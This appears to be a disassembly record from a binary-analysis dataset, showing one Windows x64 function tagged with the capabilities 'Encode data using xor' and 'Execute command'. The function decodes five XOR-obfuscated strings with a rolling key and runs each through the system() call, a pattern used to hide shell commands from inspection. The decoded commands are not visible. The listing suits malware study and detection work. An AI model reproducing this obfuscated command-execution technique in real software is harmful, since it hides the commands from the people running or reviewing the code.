Function at 0x140001f60
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
movdqa xmm0, xmmword [0x14000a990]
xor ebx, ebx
movdqa xmm1, xmmword [0x14000aa50]
mov ecx, ebx
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x14000aa60]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x14000a900]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x14000a940]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x14000a7c0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x14000a6a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x14000a650]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [0x14000a610]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm1, xmmword [0x14000a7e0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [0x14000a7b0]
movdqa xmmword [rbp], xmm1
movdqa xmm1, xmmword [0x14000a760]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [str._Q0:_a]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm1, xmmword [0x14000a860]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0x50], 0xe1e5f8a7
mov dword [rbp + 0x54], 0xe4e1eb
mov byte [rbp + 0x58], 1
nop
lea eax, [rcx - 0x56]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xe7
jb 0x140002040
lea rcx, [rsp + 0x70]
mov byte [rbp + 0x58], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a990]
mov rcx, rbx
movdqa xmm1, xmmword [0x14000aa50]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x14000aa60]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x14000a900]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x14000a920]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x14000a710]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [str.__ho89uu4zg____5nt08:ts__q_0k_]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x14000a770]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [0x14000a780]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm1, xmmword [0x14000a6d0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [0x14000a7a0]
movdqa xmmword [rbp], xmm1
movdqa xmm1, xmmword [0x14000a740]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [0x14000a6b0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm1, xmmword [0x14000a850]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0x50], 0xe8e0e2f9
mov dword [rbp + 0x54], 0x100fbe0
nop dword [rax]
lea eax, [rcx - 0x56]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xe6
jb 0x140002130
lea rcx, [rsp + 0x70]
mov byte [rbp + 0x57], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a9d0]
mov rcx, rbx
movdqa xmm1, xmmword [0x14000a800]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x14000a8c0]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x14000a810]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0xc0c1cb99
mov dword [rsp + 0x64], 0x949c869d
mov dword [rsp + 0x68], 0x100879c
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x56]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x4a
jb 0x1400021b0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x6b], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000aa80]
mov rcx, rbx
movdqa xmm1, xmmword [0x14000a8a0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0x100aeb2
movdqu xmmword [rsp + 0x30], xmm1
nop word [rax + rax]
lea eax, [rcx - 0x56]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x22
jb 0x140002200
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x43], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000aa80]
movdqa xmm1, xmmword [0x14000a880]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0xb4bfe5ae
movdqu xmmword [rsp + 0x30], xmm1
mov word [rsp + 0x44], 0xbd
mov byte [rsp + 0x46], 1
nop
lea eax, [rbx - 0x56]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x25
jb 0x140002250
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x46], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rbp
ret